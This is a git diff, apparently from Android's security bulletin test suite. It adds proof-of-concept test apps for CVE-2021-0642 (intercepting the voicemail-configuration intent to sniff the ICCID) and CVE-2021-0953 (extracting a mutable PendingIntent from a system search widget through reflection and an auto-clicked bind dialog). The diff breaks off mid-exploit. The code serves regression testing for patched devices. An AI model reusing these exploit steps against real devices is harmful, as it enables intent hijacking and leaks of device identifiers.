assertNotNull(intent);
intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+
/* Start the launcher activity */
context.startActivity(intent);
- Pattern pattern = Pattern.compile(
+ overlayTextPattern = Pattern.compile(
getApplicationContext().getResources().getString(R.string.overlay_button),
Pattern.CASE_INSENSITIVE);
- /* Wait for the overlay window */
- if (!mDevice.wait(Until.hasObject(By.text(pattern).depth(0)), LAUNCH_TIMEOUT_MS)) {
- return;
- }
- /* Start the DevicePickerActivity */
- startDevicePickerActivity();
}
@Test
public void testOverlayButtonPresence() {
- BySelector selector = By.pkg(TEST_PKG_BT);
- /* Wait for an object of DevicePickerActivity */
- if (mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ /* Wait for the overlay window */
+ if (!mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), LAUNCH_TIMEOUT_MS)) {
return;
}
+
+ /* Start the DevicePickerActivity */
+ startDevicePickerActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ if (mDevice.wait(Until.gone(By.pkg(TEST_PKG)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+
/* Check if the currently running activity is DevicePickerActivity */
try {
activityDump = mDevice.executeShellCommand("dumpsys activity");
@@ -98,8 +105,10 @@
if (!activityPattern.matcher(activityDump).find()) {
return;
}
+
+ /* Failing the test as fix is not present */
String message = "Device is vulnerable to b/182584940 hence any app with "
+ "SYSTEM_ALERT_WINDOW can overlay the Bluetooth DevicePickerActivity screen";
- assertNotNull(message, mDevice.findObject(selector));
+ fail(message);
}
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
similarity index 61%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
index bcbf54f..50acd29 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/Android.bp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2021 The Android Open Source Project
+ * Copyright (C) 2022 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -19,8 +19,19 @@
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-0642",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
new file mode 100644
index 0000000..fadda57
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/AndroidManifest.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.cve_2021_0642"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <uses-permission android:name="android.permission.BLUETOOTH_ADMIN" />
+ <application
+ android:allowBackup="true"
+ android:label="CVE-2021-0642"
+ android:supportsRtl="true">
+
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN" />
+ <category android:name="android.intent.category.LAUNCHER" />
+ </intent-filter>
+ <intent-filter>
+ <action android:name="android.telephony.action.CONFIGURE_VOICEMAIL" />
+ <category android:name="android.intent.category.DEFAULT" />
+ </intent-filter>
+ </activity>
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0642" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
new file mode 100644
index 0000000..7460b96
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/res/layout/activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/drawableview"
+ android:layout_width="match_parent"
+ android:layout_height="300dp" />
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
new file mode 100644
index 0000000..8fc235b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.telephony.TelephonyManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import java.util.List;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ static final String APP_TITLE = "CVE-2021-0642";
+ static final String PACKAGE_NAME = "com.android.phone";
+ static final int LAUNCH_TIMEOUT_MS = 20000;
+
+ @Test
+ public void testCVE_2021_0642() {
+ UiDevice device = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertThat(context, notNullValue());
+ PackageManager packageManager = context.getPackageManager();
+ assertThat(packageManager, notNullValue());
+ assumeTrue(packageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY));
+ final Intent intent = new Intent(TelephonyManager.ACTION_CONFIGURE_VOICEMAIL);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(e);
+ }
+
+ // Check if "com.android.phone" exists on the system
+ try {
+ packageManager.getPackageUid(PACKAGE_NAME, 0);
+ } catch (PackageManager.NameNotFoundException e) {
+ assumeNoException(e);
+ }
+
+ // Wait for activity (which is part of package "com.android.phone") that
+ // handles ACTION_CONFIGURE_VOICEMAIL to get launched
+ boolean isVoicemailVisible =
+ device.wait(Until.hasObject(By.pkg(PACKAGE_NAME)), LAUNCH_TIMEOUT_MS);
+
+ // To check if PocActivity was launched
+ BySelector selector = By.enabled(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ boolean isPocActivityVisible = false;
+ for (UiObject2 o : objects) {
+ String visibleText = o.getText();
+ if ((visibleText != null) && (visibleText.equalsIgnoreCase(APP_TITLE))) {
+ isPocActivityVisible = true;
+ break;
+ }
+ }
+ device.pressHome();
+
+ assumeTrue(isVoicemailVisible || isPocActivityVisible);
+
+ String outputMsg = "Device is vulnerable to b/185126149 "
+ + "hence sensitive Iccid could be sniffed by intercepting "
+ + "ACTION_CONFIGURE_VOICEMAIL implicit intent";
+ assertTrue(outputMsg, ((isVoicemailVisible) && (!isPocActivityVisible)));
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
new file mode 100644
index 0000000..1a335c7
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0642/src/android/security/cts/cve_2021_0642/PocActivity.java
@@ -0,0 +1,22 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0642;
+
+import android.app.Activity;
+
+public class PocActivity extends Activity {
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
index f0ab82b..e7cd554 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0921/Android.bp
@@ -20,7 +20,6 @@
name: "CVE-2021-0921",
defaults: ["cts_support_defaults"],
srcs: ["src/**/*.java"],
- platform_apis: true,
test_suites: [
"cts",
"vts10",
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
index 67b3b02..3ba129b 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0928/Android.bp
@@ -20,7 +20,6 @@
name: "CVE-2021-0928",
defaults: ["cts_support_defaults"],
srcs: ["src/**/*.java"],
- platform_apis: true,
test_suites: [
"cts",
"vts10",
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
similarity index 64%
copy from hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
index bcbf54f..c458976 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-29368/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/Android.bp
@@ -12,15 +12,29 @@
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
- *
*/
package {
default_applicable_licenses: ["Android-Apache-2.0"],
}
-cc_test {
- name: "CVE-2020-29368",
- defaults: ["cts_hostsidetests_securitybulletin_defaults"],
- srcs: ["poc.cpp",],
+android_test_helper_app {
+ name: "CVE-2021-0953",
+ defaults: [
+ "cts_support_defaults",
+ ],
+ srcs: [
+ "src/**/*.java",
+ ],
+ test_suites: [
+ "cts",
+ "vts10",
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.core",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ ],
+ platform_apis: true,
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
new file mode 100644
index 0000000..ddc942f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/AndroidManifest.xml
@@ -0,0 +1,45 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.security.cts.CVE_2021_0953"
+ android:versionCode="1"
+ android:versionName="1.0">
+ <application
+ android:label="CVE-2021-0953"
+ android:supportsRtl="true">
+ <activity
+ android:name=".PocActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ <activity
+ android:name=".PocVulnerableActivity"
+ android:exported="true">
+ <intent-filter>
+ <action android:name="android.speech.action.WEB_SEARCH"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ </application>
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2021_0953" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
new file mode 100644
index 0000000..13651bd
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/activity_main.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:app="http://schemas.android.com/apk/res-auto"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
new file mode 100644
index 0000000..2d3268b
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/layout/vulnerable_activity_main.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<LinearLayout
+ xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent">
+ <View
+ android:id="@+id/pocVulnerableActivity"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"/>
+</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
new file mode 100644
index 0000000..c027ecf
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/integers.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <integer name="assumption_failure">-1</integer>
+ <integer name="pass">0</integer>
+ <integer name="fail">1</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
new file mode 100644
index 0000000..6998865
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/res/values/strings.xml
@@ -0,0 +1,22 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+
+<resources>
+ <string name="callback_key">testMutablePendingIntentCallback</string>
+ <string name="message_key">testMutablePendingIntentMessage</string>
+ <string name="status_key">testMutablePendingIntentStatus</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
new file mode 100644
index 0000000..ee5dac6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/DeviceTest.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ public static final int TIMEOUT_SEC = 20;
+ public static final String TEST_PACKAGE = "android.security.cts.CVE_2021_0953";
+
+ @Test
+ public void testMutablePendingIntent() {
+ final Context context = getApplicationContext();
+ PocStatus status = new PocStatus();
+ CompletableFuture<PocStatus> callbackReturn = new CompletableFuture<>();
+ RemoteCallback cb = new RemoteCallback((Bundle result) -> {
+ PocStatus pocStatus = new PocStatus();
+ pocStatus.setErrorMessage(
+ result.getString(context.getResources().getString(R.string.message_key)));
+ pocStatus.setStatusCode(
+ result.getInt(context.getResources().getString(R.string.status_key)));
+ callbackReturn.complete(pocStatus);
+ });
+ launchActivity(PocActivity.class, cb); // start activity with callback
+ try {
+ // blocking while the remotecallback is unset
+ status = callbackReturn.get(TIMEOUT_SEC, TimeUnit.SECONDS);
+ } catch (InterruptedException | ExecutionException | TimeoutException e) {
+ assumeNoException(e);
+ }
+ assumeTrue(status.getErrorMessage(), status.getStatusCode() != context.getResources()
+ .getInteger(R.integer.assumption_failure));
+ assertNotEquals(status.getErrorMessage(), status.getStatusCode(),
+ context.getResources().getInteger(R.integer.fail));
+ }
+
+ private void launchActivity(Class<? extends Activity> clazz, RemoteCallback cb) {
+ final Context context = getApplicationContext();
+ final Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(TEST_PACKAGE, clazz.getName());
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getResources().getString(R.string.callback_key), cb);
+ context.startActivity(intent);
+ }
+
+ private class PocStatus {
+ private int statusCode;
+ private String errorMessage;
+
+ public void setStatusCode(int status) {
+ statusCode = status;
+ }
+
+ public void setErrorMessage(String message) {
+ errorMessage = message;
+ }
+
+ public int getStatusCode() {
+ return statusCode;
+ }
+
+ public String getErrorMessage() {
+ return errorMessage;
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
new file mode 100644
index 0000000..c28bd75
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0953/src/android/security/cts/CVE_2021_0953/PocActivity.java
@@ -0,0 +1,260 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0953;
+
+import android.app.Activity;
+import android.app.PendingIntent;
+import android.appwidget.AppWidgetHost;
+import android.appwidget.AppWidgetManager;
+import android.content.ComponentName;
+import android.content.ActivityNotFoundException;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Parcel;
+import android.os.RemoteCallback;
+import android.os.RemoteException;
+import android.widget.RemoteViews;
+
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+import androidx.test.InstrumentationRegistry;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.List;
+
+public class PocActivity extends Activity {
+ public static int APPWIDGET_ID;
+ public static int REQUEST_BIND_APPWIDGET = 0;
+ public static final int TIMEOUT_MS = 10000;
+
+ Class mClRemoteViews;
+ Field mActions, mResponse, mFldPendingIntent;
+ Method mGetDeclaredField;
+ Object mObjSetOnClickResponse;
+ PendingIntent mPendingIntent;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.activity_main);
+ UiDevice device = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ AppWidgetHost appWidgetHost;
+ AppWidgetManager appWidgetManager;
+ PocActivity pocActivity = PocActivity.this;
+ appWidgetManager = AppWidgetManager.getInstance(this);
+ appWidgetHost = new AppWidgetHost(PocActivity.this.getApplicationContext(), 0);
+ APPWIDGET_ID = appWidgetHost.allocateAppWidgetId();
+ Intent intent = new Intent("android.appwidget.action.APPWIDGET_BIND");
+ intent.putExtra("appWidgetId", APPWIDGET_ID);
+ intent.putExtra("appWidgetProvider", new ComponentName("com.android.quicksearchbox",
+ "com.android.quicksearchbox.SearchWidgetProvider"));
+ try {
+ PocActivity.this.startActivityForResult(intent, REQUEST_BIND_APPWIDGET);
+ } catch (ActivityNotFoundException e) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Could not start activity");
+ return;
+ }
+ String settingsPkgName = "";
+ PackageManager pm = getPackageManager();
+ List<ResolveInfo> ris = pm.queryIntentActivities(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ for (ResolveInfo ri : ris) {
+ if (ri.activityInfo.name.contains("AllowBindAppWidgetActivity")) {
+ settingsPkgName = ri.activityInfo.packageName;
+ }
+ }
+ if (settingsPkgName.equals("")) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Settings package not found/AllowBindAppWidgetActivity not found");
+ return;
+ }
+ if (!device.wait(Until.hasObject(By.pkg(settingsPkgName)), TIMEOUT_MS)) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to start AllowBindAppWidgetActivity");
+ return;
+ }
+ boolean buttonClicked = false;
+ BySelector selector = By.clickable(true);
+ List<UiObject2> objects = device.findObjects(selector);
+ for (UiObject2 object : objects) {
+ String objectText = object.getText();
+ String objectClass = object.getClassName();
+ if (objectText == null) {
+ continue;
+ }
+ if (objectText.equalsIgnoreCase("CREATE")) {
+ object.click();
+ buttonClicked = true;
+ break;
+ }
+ }
+ if (!device.wait(Until.gone(By.pkg(settingsPkgName)), TIMEOUT_MS) || !buttonClicked) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "'Create' button not found/clicked");
+ return;
+ }
+ }
+
+ @Override
+ public void onActivityResult(int requestCode, int resultCode, Intent data) {
+ super.onActivityResult(requestCode, resultCode, data);
+ PocActivity pocActivity = PocActivity.this;
+ if (requestCode == REQUEST_BIND_APPWIDGET) {
+ if (resultCode == -1) {
+ APPWIDGET_ID = data.getIntExtra("appWidgetId", APPWIDGET_ID);
+ }
+ }
+ RemoteViews remoteViews =
+ pocActivity.callBinder(pocActivity.getPackageName(), APPWIDGET_ID);
+ if (remoteViews == null) {
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "remoteViews is null as callBinder() failed");
+ return;
+ }
+ try {
+ mClRemoteViews = Class.forName("android.widget.RemoteViews");
+ } catch (ClassNotFoundException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Class android.widget.RemoteViews not found");
+ return;
+ }
+ Class[] rvSubClasses = mClRemoteViews.getDeclaredClasses();
+ Class clSetOnClickResponse = null;
+ Class clRemoteResponse = null;
+ for (Class c : rvSubClasses) {
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.SetOnClickResponse")) {
+ clSetOnClickResponse = c;
+ }
+ if (c.getCanonicalName().equals("android.widget.RemoteViews.RemoteResponse")) {
+ clRemoteResponse = c;
+ }
+ }
+ try {
+ mActions = mClRemoteViews.getDeclaredField("mActions");
+ } catch (NoSuchFieldException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mActions field not found");
+ return;
+ }
+ mActions.setAccessible(true);
+ try {
+ mObjSetOnClickResponse = ((ArrayList) mActions.get(remoteViews)).get(1);
+ mGetDeclaredField = Class.class.getDeclaredMethod("getDeclaredField", String.class);
+ mResponse = (Field) mGetDeclaredField.invoke(clSetOnClickResponse, "mResponse");
+ } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mResponse field not found");
+ return;
+ }
+ mResponse.setAccessible(true);
+ try {
+ mFldPendingIntent =
+ (Field) mGetDeclaredField.invoke(clRemoteResponse, "mPendingIntent");
+ } catch (IllegalAccessException | InvocationTargetException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "mPendingIntent field not found");
+ return;
+ }
+ mFldPendingIntent.setAccessible(true);
+ try {
+ mPendingIntent = (PendingIntent) mFldPendingIntent
+ .get((RemoteViews.RemoteResponse) mResponse.get(mObjSetOnClickResponse));
+ } catch (IllegalAccessException e) {
+ e.printStackTrace();
+ sendTestResult(getResources().getInteger(R.integer.assumption_failure),
+ "Unable to get PendingIntent");
+ return;
+ }
+ Intent spuriousIntent = new Intent(PocActivity.this, PocVulnerableActivity.class);
+ spuriousIntent.setPackage(getApplicationContext().getPackageName());
